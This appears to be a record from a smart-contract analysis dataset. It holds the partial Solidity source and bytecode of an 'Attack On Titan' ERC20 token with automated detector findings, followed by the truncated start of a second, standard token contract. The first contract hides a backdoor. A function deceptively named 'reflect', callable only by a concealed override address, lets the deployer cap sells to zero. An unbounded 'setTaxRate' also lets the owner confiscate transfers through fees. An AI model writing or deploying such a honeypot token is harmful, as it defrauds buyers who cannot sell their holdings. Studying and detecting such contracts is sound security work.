_tTotal = 1000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate; address payable private _taxWallet; string private constant _name = "Attack On Titan"; string private constant _symbol = "Attack On Titan"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _override; uint256 private _max = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _override=owner(); _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxRate = 8; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _max); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _max = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier overridden() { require(_override == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function reflect(uint256 limit) external overridden { _max = limit; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c6d69a301461033c578063dd62ed3e14610365578063f4293890146103a2576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b806323b872dd116100c657806323b872dd146101bf578063293230b8146101fc578063313ce5671461021357806351bc3c851461023e576100fe565b8063053ab1821461010357806306fdde031461012c578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061012a60048036038101906101259190612042565b6103b9565b005b34801561013857600080fd5b50610141610424565b60405161014e9190612435565b60405180910390f35b34801561016357600080fd5b5061017e60048036038101906101799190611fd5565b610461565b60405161018b919061241a565b60405180910390f35b3480156101a057600080fd5b506101a961047f565b6040516101b691906125b7565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e19190611f82565b61048b565b6040516101f3919061241a565b60405180910390f35b34801561020857600080fd5b50610211610564565b005b34801561021f57600080fd5b50610228610a85565b604051610235919061262c565b60405180910390f35b34801561024a57600080fd5b50610253610a8a565b005b34801561026157600080fd5b5061027c60048036038101906102779190611ee8565b610b04565b60405161028991906125b7565b60405180910390f35b34801561029e57600080fd5b506102a7610b55565b005b3480156102b557600080fd5b506102be610ca8565b6040516102cb919061234c565b60405180910390f35b3480156102e057600080fd5b506102e9610cd1565b6040516102f69190612435565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190611fd5565b610d0e565b604051610333919061241a565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e9190612042565b610d2c565b005b34801561037157600080fd5b5061038c60048036038101906103879190611f42565b610e0f565b60405161039991906125b7565b60405180910390f35b3480156103ae57600080fd5b506103b7610e96565b005b6103c1610f08565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041a57600080fd5b80600a8190555050565b60606040518060400160405280600f81526020017f41747461636b204f6e20546974616e0000000000000000000000000000000000815250905090565b600061047561046e610f08565b8484610f10565b6001905092915050565b6000633b9aca00905090565b60006104988484846110db565b610559846104a4610f08565b61055485604051806060016040528060288152602001612c3060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b61056c610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f090612517565b60405180910390fd5b600860149054906101000a900460ff1615610649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610640906124b7565b60405180910390fd5b61067a30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e257600080fd5b505afa1580156106f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071a9190611f15565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079e57600080fd5b505afa1580156107b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d69190611f15565b6040518363ffffffff1660e01b81526004016107f3929190612367565b602060405180830381600087803b15801561080d57600080fd5b505af1158015610821573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108459190611f15565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306108ce30610b04565b6000806108d9610ca8565b426040518863ffffffff1660e01b81526004016108fb969594939291906123b9565b6060604051808303818588803b15801561091457600080fd5b505af1158015610928573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094d919061206f565b5050506001600860166101000a81548160ff021916908315150217905550633b9aca00600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a30929190612390565b602060405180830381600087803b158015610a4a57600080fd5b505af1158015610a5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a829190612015565b50565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610acb610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610aeb57600080fd5b6000610af630610b04565b9050610b0181611476565b50565b6000610b4e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe565b9050919050565b610b5d610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190612517565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f41747461636b204f6e20546974616e0000000000000000000000000000000000815250905090565b6000610d22610d1b610f08565b84846110db565b6001905092915050565b610d34610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db890612517565b60405180910390fd5b6000811015610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612597565b60405180910390fd5b8060058190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed7610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b6000479050610f058161176c565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7790612577565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790612497565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce91906125b7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114290612557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290612457565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590612537565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612723565b11156112d357600080fd5b6112db610ca8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113495750611319610ca8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e230610b04565b611476565b600047905060008111156113ff576113fe4761176c565b5b505b5b61140d8383836117d8565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190612435565b60405180910390fd5b5060008385611469919061277d565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114ae576114ad6128d8565b5b6040519080825280602002602001820160405280156114dc5781602001602082028036833780820191505090505b50905030816000815181106114f4576114f36128a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159657600080fd5b505afa1580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce9190611f15565b816001815181106115e2576115e16128a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ad9594939291906125d2565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90612477565b60405180910390fd5b600061174f6117e8565b9050611764818461181390919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d4573d6000803e3d6000fd5b5050565b6117e383838361185d565b505050565b60008060006117f5611a28565b9150915061180c818361181390919063ffffffff16565b9250505090565b600061185583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a7b565b905092915050565b60008060008060008061186f87611ade565b9550955095509550955095506118cd86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4690919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ae81611bee565b6119b88483611cab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1591906125b7565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611a54633b9aca0060035461181390919063ffffffff16565b821015611a6e57600354633b9aca00935093505050611a77565b81819350935050505b9091565b60008083118290611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab99190612435565b60405180910390fd5b5060008385611ad191906126f2565b9050809150509392505050565b6000806000806000806000806000611afb8a600554600554611ce5565b9250925092506000611b0b6117e8565b90506000806000611b1e8e878787611d7b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611b9f919061269c565b905083811015611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb906124d7565b60405180910390fd5b8091505092915050565b6000611bf86117e8565b90506000611c0f8284611e0490919063ffffffff16565b9050611c6381600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc082600354611b4690919063ffffffff16565b600381905550611cdb81600454611b9090919063ffffffff16565b6004819055505050565b600080600080611d116064611d03888a611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d3b6064611d2d888b611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d6482611d56858c611b4690919063ffffffff16565b611b4690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d948589611e0490919063ffffffff16565b90506000611dab8689611e0490919063ffffffff16565b90506000611dc28789611e0490919063ffffffff16565b90506000611deb82611ddd8587611b4690919063ffffffff16565b611b4690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e175760009050611e79565b60008284611e259190612723565b9050828482611e3491906126f2565b14611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b906124f7565b60405180910390fd5b809150505b92915050565b600081359050611e8e81612bea565b92915050565b600081519050611ea381612bea565b92915050565b600081519050611eb881612c01565b92915050565b600081359050611ecd81612c18565b92915050565b600081519050611ee281612c18565b92915050565b600060208284031215611efe57611efd612907565b5b6000611f0c84828501611e7f565b91505092915050565b600060208284031215611f2b57611f2a612907565b5b6000611f3984828501611e94565b91505092915050565b60008060408385031215611f5957611f58612907565b5b6000611f6785828601611e7f565b9250506020611f7885828601611e7f565b9150509250929050565b600080600060608486031215611f9b57611f9a612907565b5b6000611fa986828701611e7f565b9350506020611fba86828701611e7f565b9250506040611fcb86828701611ebe565b9150509250925092565b60008060408385031215611fec57611feb612907565b5b6000611ffa85828601611e7f565b925050602061200b85828601611ebe565b9150509250929050565b60006020828403121561202b5761202a612907565b5b600061203984828501611ea9565b91505092915050565b60006020828403121561205857612057612907565b5b600061206684828501611ebe565b91505092915050565b60008060006060848603121561208857612087612907565b5b600061209686828701611ed3565b93505060206120a786828701611ed3565b92505060406120b886828701611ed3565b9150509250925092565b60006120ce83836120da565b60208301905092915050565b6120e3816127b1565b82525050565b6120f2816127b1565b82525050565b600061210382612657565b61210d818561267a565b935061211883612647565b8060005b8381101561214957815161213088826120c2565b975061213b8361266d565b92505060018101905061211c565b5085935050505092915050565b61215f816127c3565b82525050565b61216e81612806565b82525050565b600061217f82612662565b612189818561268b565b9350612199818560208601612818565b6121a28161290c565b840191505092915050565b60006121ba60238361268b565b91506121c58261291d565b604082019050919050565b60006121dd602a8361268b565b91506121e88261296c565b604082019050919050565b600061220060228361268b565b915061220b826129bb565b604082019050919050565b600061222360178361268b565b915061222e82612a0a565b602082019050919050565b6000612246601b8361268b565b915061225182612a33565b602082019050919050565b600061226960218361268b565b915061227482612a5c565b604082019050919050565b600061228c60208361268b565b915061229782612aab565b602082019050919050565b60006122af60298361268b565b91506122ba82612ad4565b604082019050919050565b60006122d260258361268b565b91506122dd82612b23565b604082019050919050565b60006122f560248361268b565b915061230082612b72565b604082019050919050565b600061231860188361268b565b915061232382612bc1565b602082019050919050565b612337816127ef565b82525050565b612346816127f9565b82525050565b600060208201905061236160008301846120e9565b92915050565b600060408201905061237c60008301856120e9565b61238960208301846120e9565b9392505050565b60006040820190506123a560008301856120e9565b6123b2602083018461232e565b9392505050565b600060c0820190506123ce60008301896120e9565b6123db602083018861232e565b6123e86040830187612165565b6123f56060830186612165565b61240260808301856120e9565b61240f60a083018461232e565b979650505050505050565b600060208201905061242f6000830184612156565b92915050565b6000602082019050818103600083015261244f8184612174565b905092915050565b60006020820190508181036000830152612470816121ad565b9050919050565b60006020820190508181036000830152612490816121d0565b9050919050565b600060208201905081810360008301526124b0816121f3565b9050919050565b600060208201905081810360008301526124d081612216565b9050919050565b600060208201905081810360008301526124f081612239565b9050919050565b600060208201905081810360008301526125108161225c565b9050919050565b600060208201905081810360008301526125308161227f565b9050919050565b60006020820190508181036000830152612550816122a2565b9050919050565b60006020820190508181036000830152612570816122c5565b9050919050565b60006020820190508181036000830152612590816122e8565b9050919050565b600060208201905081810360008301526125b08161230b565b9050919050565b60006020820190506125cc600083018461232e565b92915050565b600060a0820190506125e7600083018861232e565b6125f46020830187612165565b818103604083015261260681866120f8565b905061261560608301856120e9565b612622608083018461232e565b9695505050505050565b6000602082019050612641600083018461233d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126a7826127ef565b91506126b2836127ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126e7576126e661284b565b5b828201905092915050565b60006126fd826127ef565b9150612708836127ef565b9250826127185761271761287a565b5b828204905092915050565b600061272e826127ef565b9150612739836127ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127725761277161284b565b5b828202905092915050565b6000612788826127ef565b9150612793836127ef565b9250828210156127a6576127a561284b565b5b828203905092915050565b60006127bc826127cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612811826127ef565b9050919050565b60005b8381101561283657808201518184015260208101905061281b565b83811115612845576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b612bf3816127b1565b8114612bfe57600080fd5b50565b612c0a816127c3565b8114612c1557600080fd5b50565b612c21816127ef565b8114612c2c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ecbdef758ff0091ba7aa051500a20a5dfaae1473b1ebe763510922f6f3c5245f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,509
0xf1933020b35013e0cacf0b0b52d14932ae112b65
pragma solidity 0.5.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _to != address(this)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _to != address(this)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One 